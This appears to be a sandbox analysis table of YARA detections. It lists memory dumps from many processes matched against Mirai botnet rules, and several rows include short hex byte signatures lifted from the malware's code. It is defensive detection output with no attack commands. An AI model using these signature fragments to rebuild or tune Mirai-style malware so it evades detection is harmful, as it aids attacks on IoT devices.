7316.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7316.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7316.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7316.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6658.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6658.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6658.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6658.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6658.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6658.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6897.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6897.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6897.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6897.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6897.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6897.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6678.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6678.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6678.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6678.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6678.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6678.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6634.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6634.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6634.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6634.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6634.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6634.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6812.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6812.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6812.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6812.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6812.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6812.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6711.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6711.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6711.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6711.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6711.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6711.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7344.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7344.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7344.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7344.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7344.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7344.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7214.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7214.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7299.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7299.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7299.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7299.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7299.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7299.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7214.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7214.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7214.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7214.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7381.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7381.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7381.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7381.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7381.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7381.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6297.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6297.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6297.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6297.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6297.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6297.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6989.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6989.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6989.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6989.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6989.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6989.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6967.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6967.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6967.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6967.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6967.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6967.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6771.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7045.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7138.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7138.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7138.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7138.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7138.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7138.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7045.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7045.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7045.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7045.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7045.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6449.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6449.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6449.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6449.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6449.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6449.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7110.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7110.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7110.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7110.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7110.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7110.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6463.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6463.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6463.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6463.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6463.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6463.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6687.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6687.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6687.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6687.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6687.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6687.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7128.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7128.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7128.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7128.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7128.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7128.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6699.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6699.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6699.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6699.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6699.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6699.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7306.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7306.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7306.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7306.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7306.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7306.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7119.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7119.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7119.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7119.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7119.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7119.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6863.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6863.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6863.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6863.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6863.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6863.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7034.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7034.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7034.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7034.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7034.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7034.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6334.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6334.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6334.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6334.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6334.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6334.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6504.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6504.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6504.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6504.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6504.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6504.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6545.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6545.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
